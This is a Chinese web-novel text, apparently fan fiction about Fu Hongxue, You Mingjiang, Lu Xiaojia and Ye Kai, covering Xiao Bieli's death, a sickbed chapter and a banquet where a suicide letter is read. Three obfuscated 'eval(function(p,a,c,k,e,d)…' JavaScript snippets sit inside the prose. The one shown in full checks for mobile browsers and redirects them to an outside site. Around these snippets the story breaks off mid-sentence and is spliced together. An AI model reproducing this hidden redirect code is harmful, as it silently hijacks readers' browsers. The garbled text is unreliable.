美滋滋地在衣襟上簪了朵紫菀,尤明姜试图将手中最后一朵花儿,悄悄别在傅红雪的脑袋上,被他瞪了一眼以后,有些蔫蔫地说: “马空群逃离之前,必定留了后招。这城里的人对咱们如此憎恶,八成是把万马堂被焚毁的事儿算到咱们头上了。边城起码有一半是靠着万马堂讨生活的,断人财路,犹如杀人父母。在这背后搞鬼的,想来与马空群在边城有极大的利益纠葛,那就只剩下了……” 众人异口同声,“萧别离。” · 无名居内,一片寂静。 曾经那莺莺燕燕、热闹非凡的景象已全然不见,只剩下空荡荡的大堂。 萧别离心情不佳,正独自坐在桌前,沉默不语。 他伸手想去倒一杯酒,借酒消愁,就在这时,一声轻嗤骤然响起。 “萧老板可真有闲情雅致。” 声音带着几分调侃与意味深长。 他缓缓抬起头,只见不远处站着四个人。 尤明姜双手环胸,身姿慵懒地倚在门框上,傅红雪站在她左侧,手中刀鞘稳稳抵在地上,叶开则蜷着一条腿,自在地坐在窗台上,脸上挂着一抹似有深意的笑容,饶有兴致地看着他。 三人站位巧妙,不仅严严实实地封住了他的退路,更是将翠浓牢牢护在身后。 “几位这是什么意思?”萧别离眼神错愕,怔怔地看着这三个煞神。 尤明姜凝视着他,冷冷道:“马空群呢?” 萧别离一怔,眼神冷下去,自顾自倒酒:“不知道。” 叶开沉声道:“你在袒护马空群。” “阁下什么意思!”萧别离的酒杯重重落在桌上。 “叶开的意思是,马空群比你健全,他懂得金蝉脱壳,看来也比你聪明。可你呢?”尤明姜字字如刀,“大概这辈子都要被困在这轮椅上,人家轮不到你来袒护。” 傅红雪:“……” 翠浓:“……” 好歹毒的叶开。 叶开:“……” 好歹毒的尤大夫。 · 萧别离的呼吸陡然急促,胸膛剧烈起伏,像是汹涌的潮水在内心翻涌。 可他牙关紧咬,双唇紧闭,把所有情绪都深埋心底。 “但我觉得这是低估你了。” 尤明姜话锋陡然一转,目光紧紧锁住对方,“二十年前,是他带头血洗白天羽一家,杀手自然不止他一个。比起你的深藏不露,马空群始终暴露在明面上。他野心勃勃,根本不懂见好就收,你是不是觉得他很愚蠢……我说的对吗?” 萧别离的眼皮微微一颤,他抬起头,望向她的眼眸似笑非笑。 傅红雪指节泛白,将那柄黑刀死死攥紧,满腔的愤懑从青筋里迸发。 “你自始至终都在装弱,为了达到目的,甚至不惜亲手斩断自己的双腿。这些年,你把自己伪装得那般凄惨,骗过了所有人……” “错!”萧别离猛地深吸一口气,沙哑着脱口而出,他眼神中满是追忆和怅惘,“二十年前的梅花庵雪夜,我的腿就是那一天被生生砍断了。” 眼见瞒不下去,他嘴角浮起一抹苦笑,彻底暴露了真实面目。 傅红雪浑身透着肃杀,猛地拔刀,双目因怒赤红。 叶开迅速扣住他手腕,沉声道:“听他说完。” 于是,傅红雪忍住了冲动。 看到傅红雪手中的刀,萧别离先是一怔,随后仰头大笑起来,笑声尖锐刺耳,“就是这把刀,斩断了我的双腿!” 尤明姜眉头轻皱,沉吟片刻后问道:“你和白天羽有仇?” “是!”萧别离五官激动到扭曲,“杀师杀父之仇,不共戴天!” 他眼睛瞪得滚圆,直勾勾地望向傅红雪,字字咬牙切齿:“你父亲被人杀了,你就要报仇,那你父亲杀了我师父,我作为他的衣钵传人,该不该找你父亲复仇?父仇不报,枉为人子!” 傅红雪脸色煞白,像是被重锤击中,下意识摇着头,脚步踉跄地退了一步。 见状,萧别离笑得越发肆意张狂。 “①父不受诛,子复仇可也。父受诛,子复仇,推刃之道也。一个襁褓中的小小婴儿,又有什么罪过?”尤明姜的话如同一把利刃,瞬间打断了萧别离的笑声,“你恰恰深知复仇不义的后果,却还是滥杀无辜!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原本射向翠浓的一蓬银针,被他操控着,和叶开的飞刀一起刺入他自己的心口。 鲜血洇红了衣衫,萧别离瘫倒在轮椅上,到死都在盯着傅红雪。他的眼神里既有解脱,又有不知向谁宣泄的恨意。 傅红雪满脸难以置信,他想不到这场生死对决,竟以这样的方式结束。 尤明姜上前,轻轻扶着傅红雪,将他推出屋子,关上门,隔绝了一室血腥。 . . 暮色沉沉。 尤明姜支开三人,独自坐在无名居。 她搜遍了整个无名居,却没有找到萧别离与青龙会的往来信件。 手指轻轻敲打着桌子,突然听到门外传来一阵嚷嚷声。 “尤大夫是不是在这儿?” 尤明姜指尖捻着块饴糖,连眼皮都没掀:“不在。” 门“咣当”被踹开,十几个万马堂的马师堵在门口。 驼着背的中年马师走了进来,脸被风沙侵蚀透了,腰杆弯得像张陈旧的弓。 这人叫焦老大,已经在万马堂的马背上颠簸了三十年。 “求尤大夫给条活路!”焦老大佝偻着背,嗓子沙哑地说道。 尤明姜含着高粱饴,含糊不清道:“万马堂改行唱大戏了?” “姓尤的!”一个最年轻马师急眼了。 焦老大一脚踹翻说话的年轻马师,扑通一声,膝盖重重砸在地上。 “求尤大夫给条活路!”十几个汉子也跟着跪下,膝盖砸得地板直颤。 “马空群那孙子给的银子上掺了毒粉!只要尤大夫能救我们,我们愿唯尤大夫马首是瞻。” 尤明姜咽下饴糖:“解毒可以……告诉我,马空群临走前还留了什么后手?” 想要彻底掌控边城,先得让这儿的人都服服帖帖,再安插一个听话的心腹。 “有。” 焦老大和身后汉子们对视一眼,压低声音: “杀手路小佳。” · 26.蒸梨 无名居。 秋意浓,漏声长。 尤明姜望着湿漉漉的雨帘,往炉膛里塞了把潮润润的松枝,青烟猛蹿了起来。里头煨着山药豆和板栗,炸开一声声“哔啵”的焦香。 傅红雪躺在榻上,额头上敷了块湿帕子,颈间泛着病态的潮红。 吃了粒布洛芬缓释胶囊后,他的烧已经退了,却还昏昏沉沉地陷在噩梦中。 “不……不会的……”他脑袋左右挣动,嘴里还说着呓语。 她轻轻叹了口气,往燎得通红的炉圈儿上放了个蒸碗,蒸碗里卧了个胖墩墩的雪梨。梨腹中藏着川贝母和枇杷叶,和着冰糖一起蒸到半透明,好给傅红雪吃。 傅红雪病了。 病得比这场秋雨还要突然。 众人说定,今日启程去梅花庵,但他被萧别离的死刺激得不轻,无法上路。 恰好傅红雪生着病,翠浓的烫伤也需要更干净的住处调养。她和叶开默契地达成共识,各照顾一个病人,这样彼此都能安心。 于是,她留下来照顾傅红雪,叶开则护着翠浓先行一步。 · 尤明姜拨弄着余烬里的山药豆,眼眸垂落,炉火将睫毛染成金褐色。 她心里藏着自己的小算盘。 虽不知前因,但明眼人都瞧得真切,叶开对傅红雪,比手足兄弟还要赤忱。 如果路小佳来了,那局面说不定会变成叶开和傅红雪联手对付他…… 她这次蒙东之行,本就是为了噩梦中的惨象在自己眼前上演。 哪怕是看在八十万钱引的份儿上,她也不愿看到路小佳受伤…… 假使真的要动起手来,二对二也称得上公平。 · 山药豆煨熟了。 皱缩的山药豆裹着灰壳,挨挨挤挤蜷在炭窝里,焦脆的豆衣下渗着丝丝糖浆。 掐破一粒,里头是蜜髓似的沙瓤,舌尖轻抿,尤明姜侧头笑了起来。 “出来吧!看了这么久,不烦么?” 潮湿的雨气稀释了满室的焦香,窗台上传来了“喀嚓”剥花生的脆响。 路小佳头戴笠帽,雨珠顺着帽沿儿滚落,碎在他的脚边。 扫了眼炉圈儿上的蒸梨,声音淡淡的:“倒难为你关心着他,还能记得抽空来关心我。” 说完,两指“喀嚓”捏开了一颗花生。 尤明姜眼皮都不抬,拨拉着火堆儿里的板栗,爆裂的栗壳里吐露着金黄果肉。 几颗热腾腾的栗子被她托在掌心,左手倒右手,右手倒左手,指甲掐开板栗壳儿,一连撬了仨囫囵个儿的栗子肉,她吹了吹烫红的指尖,突然往他手里一塞。 笑眯眯地说:“吃人家的嘴短,这些能堵得上你的嘴吗?” · 脱壳后的几颗栗子肉,圆滚滚的,憨憨地蜷在他的掌心。残余的烫意覆盖着他的掌纹:生命线、事业线、智慧线、婚姻线…… 路小佳喉结滚了滚,托着几颗栗子肉,轻吐一口浊气:“你还吃得下去……” 她眉眼清润,静静地望着他,忽然说道:“你淋雨了。” 握剑的手颤了颤,路小佳突然就泄了气,他神色动容,将几颗栗子肉送入口中。他细细地咀嚼着软糯的甜,眼睛一眨不眨地盯着她。 抬手摘下他戴的笠帽,尤明姜走到门边,甩去帽檐上的水珠:“下回挑雨天来见我,记得带把伞。” 她一走开,昏睡在榻上的傅红雪,就彻底暴露在路小佳的剑下。 这无疑是杀死傅红雪的最好机会。 失不再来的好机会。 路小佳却仿佛忘记了自己是个杀手。 他坐到了炉子边,用火钩拨出剩下的板栗,一颗又一颗地剥了起来。 路小佳默默剥栗子,拇指抵住栗壳裂缝,无名指轻弹,果肉便完整跃出。油润的栗子肉被小心地托在泛黄的油纸上。不一会儿,那纸上便堆起了一座小山,满满的栗子肉。 · 将一切尽收眼底,尤明姜轻舒了一口气,肩膀微微下垂,迅速将那根沾了麻沸散的银针藏进袖口。她转过身,走到炉子旁边,将湿漉漉的笠帽架在侧边烘烤。 路小佳轻轻捻着指尖,上面残留着栗子肉的碎屑。 这些天,傅红雪的消息传遍了江湖的每一个角落。那些藏在暗处的仇家们,头顶都悬着一把刀,没人敢抬头。 他们不知道这把刀何时会落下,也不知道它会落在谁的头上;更猜不透傅红雪到底知道多少秘密,是只对马空群恨之入骨,还是要把所有仇人都拖进地狱。 路小佳也想知道这一点。 “你怕我杀了他?”他低声呢喃,声音轻得几乎听不见。 尤明姜笑了笑,悠然道:“你不会。” 路小佳挑了挑眉:“哦?” 光晕映在她的脸上,眉眼间带着几分狡黠:“路小佳就是路小佳,路小佳有路小佳的骄傲。” 路小佳静静地看着她,眼中闪过一丝复杂的情绪。尤明姜也不躲,坦率地与他对视。 路小佳道:“我收了钱,答应替人杀他。” “嗯。” “所以我……” “别动。”她一脸严肃,倏地凑到他的面前,指尖微微抬起他的下颌。 路小佳一怔,喉结滚了滚,睫毛在鼻梁投下的阴影微微发颤。 “这里……”她指了指他颧骨上的小红点,“蚊子叮了个包。” · 尤明姜的指尖沾了炉甘石洗剂,轻轻点在路小佳颧骨的红疹上。凉津津的粉雾渍在他的颧骨上,晕成一片淡淡的桃花粉。 路小佳垂着眼睑,耳尖却泛起比桃花粉更含蓄的红晕。他闻见炉甘石淡淡的石灰味里,掺着栗子壳烤焦的甜香。 涂完了炉甘石洗剂,尤明姜收起玻璃磨砂瓶,微笑着说道:“刚才说到哪儿?” 路小佳望着她,下意识地握紧了拳头,又缓缓松开。 他知道尤明姜说的是什么。 尤明姜静静地回望着,伸手摸向一颗圆滚滚的栗子肉。 他的手恰好伸向了同一颗栗子肉。 两只手碰在一起,又同时缩回了手,谁都没有动。 过了好一会儿,路小佳像是豁出去了一般,握住了她的手。 尤明姜身体微微一僵,却没有挣脱他的手。 他的目光落在她的脸上,声音低沉:“尤明姜,你知不知道,这样很危险?” 尤明姜眨了眨眼,笑意中带着几分狡黠:“危险?对你,还是对我?” 路小佳没有回答,只是握得更紧了些。 不知过了多久,他才松开手,“好,那我大发慈悲,现在不杀他。” 还不忘着重在【现在】两个字上加重了读音。 尤明姜愣了一下,随后嘴角微微上扬,放松下来,“傅红雪也绝不会杀你。” “不会杀和杀不了,可别混为一谈。” 路小佳语气半真半假:“我要是真想杀,谁能拦得住我?” 尤明姜轻笑一声,目光在他脸上扫过:“那你有没有接了悬赏,来取我性命?” 片刻后,路小佳开口,声音低沉:“我不杀不该死之人。” 尤明姜笑意更深:“哦?那在你眼里,我是什么人?” 目光在她脸上停留片刻,路小佳忽然起身,戴上半干不干的笠帽。 “一个麻烦的人。” 尤明姜点点头,语气中带着几分调侃:“能让路小佳破例的人,确实很麻烦。” 路小佳停下脚步,转头看她,目光中带着一丝无奈:“你很得意?” 尤明姜笑得眉眼弯弯:“当然得意。人占上风的时候,总是春风得意的。” 路小佳伸手,轻轻弹了一下她的额头:“下不为例。” “路小佳,你这个人,真是拧巴。”尤明姜叹了口气,忍不住笑了。 路小佳推来一张请帖,嘴角微微扬起一丝弧度:“你也不遑多让。” 尤明姜目露疑惑,反复翻看着烫金的请帖:“……九月十五,白云庄,袁青枫大婚?” 这请帖看起来像是婚帖…… 新娘是谁? 油纸上的栗子突然少了几颗,再抬头,灰衣笠帽的青年杀手已经不见了。 “这个路小佳……”她轻轻叹了一口气。 · · 次日清晨。 待天光刺破云层时,雨势已经渐渐弱了。 小雨淅淅沥沥地敲打着窗棂。 傅红雪悠悠转醒,浑身没有力气。 下意识地想握紧刀鞘,却抓了个空。生平第一次空着手醒来,他猛地弹坐起来,被汗浸透的里衣粘在他的后背。 他瞳孔骤缩,太阳穴突突直跳。 刀呢? 刀不离身,刀是他身体的一部分! 他咬紧牙关,血腥味从牙关溢出,俨然是要发病的前兆。就在这时,指尖突然触到冰凉,他立刻握住刀柄,指节泛出青白。 傅红雪又活了过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947182|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是他脑袋昏昏沉沉的,刚一动弹,就重重地滚落在地。傅红雪没力气爬起来,索性不再挣扎,躺在潮湿的地面上。 他回想着噩梦中的情景。 这仇恨就像一个无底深渊,终有一日,不仅会将自己彻底吞噬,还会在不经意间,伤害到每一个试图靠近他的人。 总有一天会变成萧别离那种人…… “怎么躺在地上了?地上凉,我蒸了梨,吃一口吧。”尤明姜端来了甜津津的蒸梨。 “当啷——” 蒸碗突然裂成三瓣。 碎瓷片里躺着半透明的梨肉。 蒸梨应声落地,汁水四溅。 · 尤明姜皱了皱眉,没想到傅红雪会打落这一碗蒸梨,但她没有动怒,只是蹲下身,用抹布裹着手去捡碎瓷片。 “糟践粮食,雷公爷要劈人的。每一颗梨都是挺过了频繁的倒春寒,才会出现在你的眼前,这颗梨要是知道自己的命运是这样的,它会觉得很伤心。” 话还没说完,手腕就被傅红雪攥住。 “我就是一块生锈的铁,如果你指望变废为宝,趁早……”傅红雪声音沙哑而无力。 拉住他的代价,就是要和他一起堕入仇恨的深渊,还是离他越远越好。 尤明姜眯了眯眼,反手就是一巴掌。 这巴掌来得比闪电还快。 左颊火辣辣的疼痛,反倒让他混沌的脑子清醒了几分。他呆呆地捂着脸,眼中闪过一丝茫然。 “嘭”的一声,尤明姜摔门走了出去。 傅红雪的眼泪瞬间夺眶而出。 他的第一个朋友,也是他最信任的朋友。 失去她的痛,犹如切肤之痛。 然而,没等他掉几滴眼泪,门又“哐啷”一声撞在墙上。 尤明姜甩过来一团麻绳,绳头打着死结:“绑左手还是右手?” 傅红雪怔怔地抬起头。 她淡淡地说道:“讲不通道理的时候,我比较习惯先斩后奏。” 说完,尤明姜腕上缠着粗麻绳,将两人的手腕系了个死结。 · 市集的喧闹声裹挟着雨水涌了进来。 雨丝穿过热腾腾的雾气,背山货的老汉裹着棕蓑衣,竹篓里的榛蘑顶着水珠儿,卖菜的老婆婆撩开油布角,那把葵菜绿莹莹的还沾着泥星子。铁匠铺的老风箱呼哧呼哧地喘着气,刚淬过火的镰刀头还冒着白气儿,剁馅的声响就追了上来。 · 不知走了多久,麻绳磨破了皮,血珠渗进绳结里,两个人都饥肠辘辘。 巷子里传来了面的香气。 傅红雪拖着跛足,喉结动了动,欲言又止:“……面。” “饿了?”尤明姜询问。 傅红雪点了点头:“嗯。” 尤明姜数出几枚铜钱,缓和了语气,解开了活扣:“我请你吃面,快说谢谢。” 见她消气了,傅红雪松了口气:“谢谢。” · 面摊支着褪色的竹棚,老婆婆佝偻着腰揉面,两人坐在面摊前吃面。 面汤里漂着星星点点的油星子,葱花是刚掐的嫩尖,随着热气打着旋儿。 手擀面条筋道弹牙,清汤里卧着溏心蛋,颤巍巍的像个小太阳。 “明姜。”傅红雪捧着粗瓷碗,热气在睫毛上凝成细珠,他唤得很轻,像是怕惊了面汤里的太阳,“谢谢你……” “刚刚是逗你玩呢,不用一遍一遍地说谢谢。”她搅着面汤,葱花儿打着旋儿,“要谢就谢这揉面的阿婆。” 面汤腾起的热气熏疼了眼睛,傅红雪的眼泪掉进了面碗里,“你怎么不怕我……” “怕的。” 傅红雪猛地抬起头来。 尤明姜安抚他:“赶紧吃,我怕你的面坨了。” 面汤里又漾开一圈涟漪,傅红雪赶紧低头,吞下一口面。 “……谢谢。” “怎么还谢?” 他想说的谢谢,不止是为了这碗面。 他想谢的,是雨中始终未松的那根麻绳,是失望离去又复返的脚步声…… 是万千恨海里,她偏要化作不灭的灯。 · 雨不知什么时候停了。 晚霞把麻绳染成金红色。 傅红雪盯着面汤里打转的葱花,突然觉着心里的绳结,也松了下来。 仇恨就像酒,喝得越多,越觉得冷。 酒是冷的,没关系,面汤却会烫嘴。 · 27.鲈鱼 农历九月十五。 瓦楞上的薄霜泛着银光,薛家庄上上下下忙得热火朝天。 薛家父子从半个月前,就开始张罗起来,但是日期越近,越觉得处处有疏漏。 这是一场惊世骇俗的会面,或许也将是一场脍炙人口的谈资。 薛斌、郭威、易大经、柳东来……无一例外,都参与了当年的梅花庵血案。 而梅花庵血案的白家后人,则坐在他们的对面,默默擦拭着刀鞘。 茫茫天底下,能心平气和面对面坐着的仇人,比腊月里盛开的桃花还罕见。 因为仇恨一旦在心底扎了根,就像荒原野草,烧不尽,除不绝。 这无疑是个很冒险的举动。 薛果本来持反对意见,路小佳却一遍又一遍地游说他。 还将自己的姐夫易大经搭了进来,一损俱损,薛果才豁出去发了请柬。 事态已然糟糕到了极点,不可能更坏了。 既然如此,索性把这遮羞布扯个干净,把恩怨摆在明面上,痛快做个了断! · 郭威仰着头,将酒杯里最后一滴酒倒入口中。 他的头发乱蓬蓬的,喝得满脸通红,把酒杯重重地砸在桌上。 与别人不一样,他是拖家带口来的。 梅花庵的那个雪夜,那些人死的死、残的残,他能全须全尾地捡回一条命,已是万幸,可往后的半生,也在惶恐不安中度过。 无论白天羽的后人打算如何复仇,他都悉听尊便。 他带着一家老小来到此地,儿孙们都在身边,由着傅红雪杀戮便是。 尽管放马过来,一命抵一命,他郭家又有什么可惧怕的? · 孩子们都很小,还不知道将要发生什么,正趴在石桌旁玩着过家家。 小手揪着枝头黄澄澄的桂花,撒在白茫茫的薄霜上,嘴里嘟囔着:“暖锅子炖好啦——”俨然是把霜当作雪花羊肉,把桂花当作了调味的花椒。 被孩子们的童真逗笑了,尤明姜掬来一捧蓬松松的荻花,细细长长的。 手一扬,轻轻撒在“锅”里,说道:“粉条来咯。” 她就是个天生的孩子王,不费吹灰之力,就和孩子们笑闹成一片。 郭威等人听到这声声欢笑,面色都有些怔忪。 这个场面和他们想象中不一样。 众人忍不住看向了傅红雪。 傅红雪正静静地看她和孩子们过家家,似已看得入了迷。 这个白天羽后人也和他们想象中不同。 · 有时候,薛果不得不佩服路小佳的胆识和魄力。 薛果原本想着,傅红雪这个人,定像一把淬了剧毒的刀。 一旦出鞘,那便是见血封喉的绝杀。 可眼前的黑衣少年,眉眼淡淡的,像轮沉静的月亮。 月亮,本是死寂的寒石。 它不会发光,更没有温度。 是谁改变了他? 一定是太阳吧。 只因太阳炽热的光芒洒向大地,也洒向了这孤独的月球。 · 在孩子们崇拜的尖叫中,尤明姜笑着踢起了鸡毛毽子。 嘴里说“不太会踢”,脚上却将毽子踢得上下翻飞,忽前忽后,忽左忽右。 她窄袖挽到手肘,背着竹编药篓,身法依旧灵活。 “三十七、三十八、三十九……”孩子们跳着拍手脆喝。 她转过头,鼻尖沁着细密的汗珠,突然看到了傅红雪,鸡毛毽子就踢向了他。 傅红雪手中的刀鞘已伸出,那只花里胡哨的鸡毛毽子正好落在上面。 他轻轻掂了两下,使了个巧劲儿送回了毽子,够她来个跳旋绕花高绷踢。 众人这才惊诧地发现,原来这个黑衣少年并不冷酷。 他不过是个被偷走了童年的孩子罢了。 · · 路小佳站在廊檐下,凝视着那道灵活的身影,指尖无意识地摩挲着剑柄。 他的剑,从来是杀人的剑。 剑穗和剑鞘这样的累赘,只会影响他出剑的速度。 路小佳已经做好了最坏的打算,却仍盼望一切朝着好的方向发展。 突然,热烈的掌声传来。 孩子们嚷着要讨彩头,被簇拥在当间的身影,笑着抛了把饴糖和花生。 抛起的花生在空中划出弧线,忽有剑光自廊下惊虹般掠过。 剑尖犹在震颤,人却已斜倚回廊柱,雪白的花生仁在他掌心滚动。 花生不太生,也不太熟,炒得火候刚刚好。 路小佳听到她的轻笑,“抢小孩子的花生,你羞不羞?” 懒洋洋地闭眼,秋光像稀释过的蜂蜜,温淡淡的,覆在他的眼皮上。 他不羞。 · · 薛家庄的小厨房已经张罗好了席面。 众人落座,面前无酒。 在郭威的歪打正着下,气氛已然变得怪异,要是再开一壶酒,就更像年夜饭了。 过了会儿,厨娘呈上席面的重头戏。 白瓷盘里卧着一整尾清蒸鲈鱼,青葱姜丝和豉油裹着微卷的鱼皮。 筷子尖儿挑开鱼腹,将黏着胶质的雪白蒜瓣肉,颤巍巍地剥落下来。 含着一汪腻脂,尤明姜勉强咽下去,默默搁了筷子。 秋鲈肥美,鱼腹的脂肪是丰润了些。 薛果也不爱吃鱼腹。 游鱼月牙肉,走兽蹄上筋,他喜欢吃鱼鳃边的月牙肉。 正准备挟去,却被一双筷子抢了先,筷子落个空,薛果“啧”了一声,抬眼却见那筷子月牙肉,稳稳落在尤大夫面前的小碟里。 这一瞬间,薛果恍然大悟,他终于闹明白了! 他原本还奇怪,路小佳一个劲儿撺掇他,到底有什么好处? 敢情是远在天边,近在眼前! · 尤明姜摆了摆手,将筷子尖儿抵在小碟沿。 “满座生面孔,”她扫过众人的脸,“路小佳,你不会是要我来结识新友的吧?” 路小佳盯着傅红雪,淡淡道:“生面孔……对你或许是,对他来说不是。” 这句话里带着些许轻嘲的意味,他似乎觉得这是件很滑稽的事。 傅红雪抬起头,握刀的手紧了紧,望向了路小佳,路小佳慢慢地嚼着花生,回望着他。他们彼此凝视着,脸上都没有笑容。 “怎么?非得蘸着血说事儿不可?” 尤明姜板起脸,筷子重重地拍在桌上,惊得众人纷纷停筷。 路小佳不辩解,轻轻“啧”了一声。 傅红雪握住刀鞘的手松了三分。 见状,薛果眼睛里却闪烁着兴奋的光。 管用! 这个尤大夫说话管用! 她能辖治得住路小佳和傅红雪! 想到这儿,他赶紧冲“护花剑客”柳东来递了个眼神。 柳东来是个文质彬彬的中年儒雅剑客。 他起身走到傅红雪跟前,取出一封信函,双手递给座位上的傅红雪。 众人都是一副没有脸面对他的表情。 傅红雪脸色苍白,从柳东来的道歉低姿态上,显然明白了前因后果。 他已然意识到了在座的薛斌、郭威、柳东来、易大经都是些什么人。 他也突然明白了路小佳那一声轻嘲。 苦苦寻觅的仇人就在眼前,他们认得你,你却不认得他们,岂不是滑稽透顶? 傅红雪呼吸急促,颤着手接过了蜡油封口的密信。 信函上写着【落霞山梅花庵梅花娘子谨呈】。 看到【梅花庵】三个字,傅红雪双眼瞬间瞪大,立刻展开信纸,一目十行。 · · 【梅花娘子书与傅红雪】 【傅红雪知悉: 一灯如豆,我借此昏明,书此信于君,竟觉胜那菩萨座前长明之灯。 初逢你的父亲白天羽,那时他已为神刀堂堂主,名震江湖,传闻满于闾巷。 我一孤苦弱女,竟被他所惑,一头栽进他编织的情网。 孰料,连亲生骨肉都留不住他,他弃我而去,我亦痛失我儿。 为了忘却这份伤痛,我遁入空门。 但每到夜深人静,那些被我深埋心底的恨,就会破土而出。 我不甘,不甘被白天宇如此伤害! 他何德何能,在江湖上逍遥自在;而我却要幽居于梅花庵了此残生! 是以,二十年前的梅花庵雪夜,我挥剑斩下他的头颅,一如佛前挥剑斩情丝。 我行事从不悔。 我恨白天羽,恨入骨髓。 纵无我梅花娘子,亦必有梨花娘子、桃花娘子、牡丹娘子如我一般,为白天羽所弃之属。我实不敢忖度,世间如我等可怜之人,究竟有几多? 所谓的宽恕我,这才是对我最大的侮辱。 我梅花娘子,一生傲岸,虽死,亦不受此怜悯,故我自行了断,并非因为懦弱,实不欲再为痛苦所累。 待你看到这封信时,我已不在人世。 书尽于此,再无他言。 梅花娘子绝笔】 · 傅红雪脸色惨白,双手颤抖个不停,信纸悠悠飘落到地上。 他已经被萧别离的话震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他似乎特别紧张,额头冒着冷汗,傅红雪和一行人沉默地走出来时,叶开还没从慌张之中脱离出来,他的心还提在嗓子眼儿,呼吸十分急促。 见傅红雪和尤明姜齐齐看着他,他憋着的那口气终于松了出来。 路小佳忽而轻笑,对傅红雪说道:“你在这世上,还是有很多人关心的。” 傅红雪眼神复杂,虽然不清楚缘由,叶开也确实一直在对他释放善意。 可他想要个理由。 瞧见众人眼中的疲惫和释然,叶开已然知晓结果,他脸上是前所未有的虔诚,对着尤明姜一揖拜到底:“多谢。” 尤明姜摆摆手,瞥到站在一边的路小佳,介绍道:“这是路小佳,这是……” 路小佳道:“叶开。” 尤明姜微微惊讶:“你怎么认识的?” 路小佳笑而不语。 叶开也有些好奇,正想和路小佳寒暄,忽然听到一阵舒缓的脚步声。 他迈步不快,步伐很小,但是一转眼的工夫,已经到了近前。 那是个少见的美男子,也是江湖中声名显赫的“无垢道人”。 他施施然地走向了叶开。 丁云鹤一身道袍,冷冷地瞥了眼路小佳,不满道:“叶开,你怎么和这种人说话?” 尤明姜下意识地望向路小佳。 路小佳低头剥花生,好像沉迷于这几颗花生的纹路,没有听到丁云鹤的话。 如果不是他咀嚼花生的速度变得很慢,如果不是他突然停滞的指尖,如果不是他突然失去了食欲,指尖无意识地摩挲着花生的纹路…… 许多人都用污言秽语辱骂过他,但是丁云鹤这句话的杀伤力却远胜其他。 虽然路小佳一言不发,但是尤明姜却感受得到他的悲凉。 那种悲凉恰似连绵的梅雨,滴落在腔子里,与血相融,滋生出阴湿的霉点。 慢慢发酵,化作钻心蚀骨的疼痛。 甚至像爬山虎,蔓延到了她的眼眶里。 尤明姜嘴里泛起铁锈味儿,突然高声说道:“谁把腌萝卜干的坛子打翻了?” 她伸手捂着鼻子,不无嫌弃,“一股陈年腌菜坛子的酸腐气。” 叶开道:“哪里有咸萝卜干?” 尤明姜冷冷道:“要不然怎么有人在这儿咸吃萝卜淡操心?” 话音落下,叶开噗嗤笑出声,丁云鹤的脸却黑得像锅底。 路小佳猛地抬起头,眼中还残留着未散尽的惊愕。 在对上尤明姜的刹那,他的瞳孔微微一缩,像是被什么击中。 原本黯淡的眼眸里,瞬间有了不敢置信的光亮。 · 28.橘子 路小佳唇角绽开一朵笑。 明明是在笑,却苦得像是揉碎的黄连。 他眼睛盛着细碎的光,像是泪光,可等她定睛去看,一晃眼却消失了。 她忽地攥住路小佳的手腕,在他惊讶的眼神中,大步流星地往大街上走。 “好狗不挡道!” 经过丁云鹤时,她肩膀撞开一脸震惊的丁云鹤,顺便一脚碾过他的道鞋。 叶开望着尤明姜的背影,听见她说:“下回遛狗,总该记得拴绳。” 丁云鹤的脸由青转白,跟打翻的颜料匣子似的。 尤明姜却已拽着人往台阶下去,走了两步,忽而转过脸,对傅红雪道: “我先去集市转转,挑一篓好橘子。” 眼风掠过叶开纠结的眉峰,“你那些话再不说,怕是要在肚里酿成醋了。眼下不正是个好机会吗?起码,你得让傅红雪明白,你为什么总像影子一样跟着他。” 说完,她和路小佳的身影,很快就消失在薛家庄的大门前。 傅红雪站在原地,目光紧紧追随着尤明姜离去的背影。 他眉头微微皱起,嘴唇紧抿,似乎在思考着什么。 过了许久,他才缓缓收回目光,转头看向叶开。 叶开脸上的表情前所未有的凝重。 他深吸一口气,缓缓走到傅红雪面前,满脸挣扎,似乎在做个艰难的决定。 “你跟我来,我确实要告诉你一个秘密,关于你身世的秘密。” 说完,叶开转身朝着一条偏僻的小巷走去。 傅红雪眼神中闪过一丝疑惑,但脚步没有丝毫犹豫,默默地跟在他身后。 · 秋风裹着橘香满街跑,正午的阳光把橘子摊烘得暖融融的。 尤明姜拣了筐橙红的大橘子,踩着满地金黄的银杏叶钻进窄巷。 路小佳在旁剥着花生,剥橘皮的脆响混着嚼花生的咯吱声。 阳光穿过树叶的缝隙,在两人身上洒下斑驳的光影,微风拂过,树影婆娑,静谧中透着几分温柔。 “还在恼丁大少?”路小佳望着她绷紧的侧脸,觑她神色,话音里掺着笑。 “恼你。”她咬开橘子时,酸得眯起眼。 “我?”路小佳脚步滞了滞,踢了一脚墙缝里的杂草。 尤明姜将橘子抛过去,金红的果实在半空划出道弧线,正落在他襟前:“那个睚眦必报的路小佳哪儿去了?” 路小佳只是笑了笑,掰开橘子,指间橘瓣渗出晶亮的汁水,沾得指尖都染了橘香。他往嘴里扔了一瓣果肉,腮帮子鼓动两下后咽了下去。 他转而正色道:“我知道马空群的下落。” 尤明姜脚步一顿,侧头斜眼看着他,“哦?” 路小佳掰下个橘瓣,撕着白白的橘络,“遇到了个龙虎寨的强盗。” 尤明姜道:“抢你花生的强盗吗?” 路小佳道:“你在说你自己吗?” “消息来源可靠吗?” 